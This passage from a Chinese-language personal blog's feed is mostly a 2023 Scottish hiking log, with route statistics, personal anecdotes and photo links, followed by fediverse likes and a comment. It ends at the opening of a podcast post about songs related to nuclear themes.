&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230819_102303309-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230819_102303309-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230819_104351189-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230819_104351189-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230819_115129378-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230819_115129378-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230819_152154792-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230819_152154792-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;8月26日在Conic_hill,_Alexandria&quot;&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;26&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Conic hill, Alexandria&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;距离：小于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;33.34&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米；累计爬升：792&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米；耗时：3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;45&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;小山，旁边的湖是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Loch Lomond。&lt;&#x2F;p&gt;
&lt;p&gt;有个同行的女生很像我的一位初中同学，但我已经记不清那同学的名字了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230826_123532358-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230826_123532358-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230826_125358333-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230826_125358333-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230826_133539396-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230826_133539396-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;9月02日在Mistylaw,_Lochwinnoch&quot;&gt;9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;02&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mistylaw, Lochwinnoch&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;距离：23.55&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米；累计爬升：635&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米；耗时：5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;42&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;带队大哥沉默了一路——我还以为是深沉系的呢，原来是没带够水不想开口。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230902_081204639-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230902_081204639-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230902_093042503-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230902_093042503-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230902_114335907-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230902_114335907-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230902_122751540-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230902_122751540-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230902_141520463-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230902_141520463-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230902_145900770-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230902_145900770-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;9月16日在Ben_Ledi,_Callander&quot;&gt;9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ben Ledi, Callander&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;距离：21.6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米；累计爬升：1,017&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米；耗时：5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我等后面人时，有只蜘蛛在我腿上织网了——iNatrulist&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上的大拿说蛛丝是它为下去而拉的安全绳，并不是它的房子。&lt;&#x2F;p&gt;
&lt;p&gt;这次有个喜欢大喊大闹、乱扔垃圾的人。早应该离他远点的——他把我只用了第二次的登山杖划出一万条划痕。&lt;&#x2F;p&gt;
&lt;p&gt;这次我们走反了，明明上山前说要陡坡上缓坡下，可最后却是从充满碎石的陡坡下的。我下山时因为紧张而没有拍照。请允许我借用群友的图片&lt;span class=&quot;murmur&quot;&gt;（图5，注意中部上方的人有多小）&lt;&#x2F;span&gt;来展示山路线有多陡——爬完我都以为我属羊了。&lt;&#x2F;p&gt;
&lt;p&gt;有位姐下陡坡后不敢继续，由群主和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mistylaw&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那次的阴沉大哥一路背下去了。等我们回到爱丁堡吃完饭了，他们三位才下山。&lt;&#x2F;p&gt;
&lt;p&gt;最搞笑的是我们下车的站叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Public
Toilets，上车的站叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Station Road opposite
Public Toilets。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230916_101255209-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230916_101255209-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230916_111438469-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230916_111438469-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230916_125043768-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230916_125043768-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230916_131040810-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230916_131040810-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;mmexport1694902678885-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;mmexport1694902678885-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;768&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230916_164334012-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230916_164334012-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;9月23日在Peebles&quot;&gt;9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;23&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Peebles&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;距离：22.27&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米；累计爬升：748&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米；耗时：5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;刚开始在树林里发现一个秋千。我试着荡了会，下来发现树根围聚而成的小窝窝里放了好多花朵、一个小玩偶和树枝搭起的五角星。估计是附近小孩假装德鲁伊要召唤什么。&lt;&#x2F;p&gt;
&lt;p&gt;哦，然后没多久我一脚踩进了水塘里。再好的防水鞋也顶不住被水倒灌——倒楣啊，湿着袜子走了一天。&lt;&#x2F;p&gt;
&lt;p&gt;路上发现了一个青铜时代的墓葬遗址，还有因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;anti-social
activities&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;而关闭的厕所——我们都很好奇厕所里的反社会行为是什么——点化粪池么？&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230923_084153926-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230923_084153926-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230923_115740266-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230923_115740266-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230923_093900353-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230923_093900353-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230923_130353538.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230923_130353538.MP-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230923_132012162-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230923_132012162-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230923_142140709-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230923_142140709-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;10月14日在Peebles&quot;&gt;10&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;14&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Peebles&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;距离：22.8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米；累计爬升：1,006&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米；耗时：4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;54&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;另一条路线。&lt;&#x2F;p&gt;
&lt;p&gt;碰到当地人组团打鸟&lt;span class=&quot;murmur&quot;&gt;（为了保护风车么？忘了问了）&lt;&#x2F;span&gt;，耽误了些时间。风车又高又大，我觉得难以战胜。可是，如果我不停下它们，地球就会因为它们偏离轨道。我决定休养生息，回家吃顿好的再来挑战它们。&lt;&#x2F;p&gt;
&lt;p&gt;有位当地人问我们是不是都从日本来——好像苏格兰乡下人缺少对中国的认知。我有次去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;North
Berwick，跟当地人说我从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;China&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来&lt;span class=&quot;murmur&quot;&gt;（贫僧自东土大唐来）&lt;&#x2F;span&gt;。对方第一反应是：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;Canada&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;后面走泥地时因为前两步踩得很实，就掉以轻心了，第三步直接踩进沼泽。吓得我拔腿就跑，可是拔出来很难，再落脚又轻易陷下去了。最后冷静下来，把登山杖又抽出来，插进瓷实的地面上把自己撑出来了。还好那泥巴像史莱姆不像水，可以用手拿下来——要不湿着袜子走实在是让人心情崩溃。&lt;&#x2F;p&gt;
&lt;p&gt;晚上跟着两位威士忌懂哥上酒吧试了两组&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flights。感觉最有特色的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ardbeg
Uigeadail&lt;span class=&quot;murmur&quot;&gt;（Oog-a-dal）&lt;&#x2F;span&gt;——但是太难入口了。喝了一圈发现水最好喝，哈哈。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20231014_084048582-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20231014_084048582-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20231014_112140596-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20231014_112140596-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20231014_121912557-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20231014_121912557-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20231014_133858999-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20231014_133858999-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20231014_144717725-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20231014_144717725-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;11到12月&quot;&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;&#x2F;h2&gt;
&lt;p&gt;TODO&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;hiking-2023
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;hiking-2023&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


两人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;cirilla&quot;&gt;










小可可乐&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


一条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;aapa&amp;#x2F;statuses&amp;#x2F;111412419168105103&quot;&gt;










画完你的画你的画完你的画你的画完你的画你的&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 漂亮花猫&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>电台第一期：与核有关的歌曲</title>
    <published>2023-10-08T00:44:46+01:00</published>
    <updated>2023-10-08T21:28:47+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/nuclear/" type="text/html" />
    <id>https://emptystack.top/nuclear/</id>
    <content type="html">
      &lt;p&gt;打年初我就想试着录段播客了，然后就开始研究话筒、声音接口、线材、录音地点……八月底突然想到了绝佳的主题，再不开始可能永远不会开始了，所以和同样从年初就开始想这事的同学拿着手机，底稿也不打直接开录了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;在线收听&quot;&gt;在线收听&lt;&#x2F;h2&gt;
&lt;div class=&quot;podcast&quot;&gt;
&lt;p&gt;
    📢：也可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AntennaPod&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或苹果播客订阅本播客&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地址（&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&quot;&gt;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&lt;&#x2F;a&gt;）来收听！
&lt;&#x2F;p&gt;
&lt;script&gt;
function seek(time) {
    const player = document.getElementById(&#x27;player&#x27;)
    player.play()
    player.currentTime = time
}
&lt;&#x2F;script&gt;





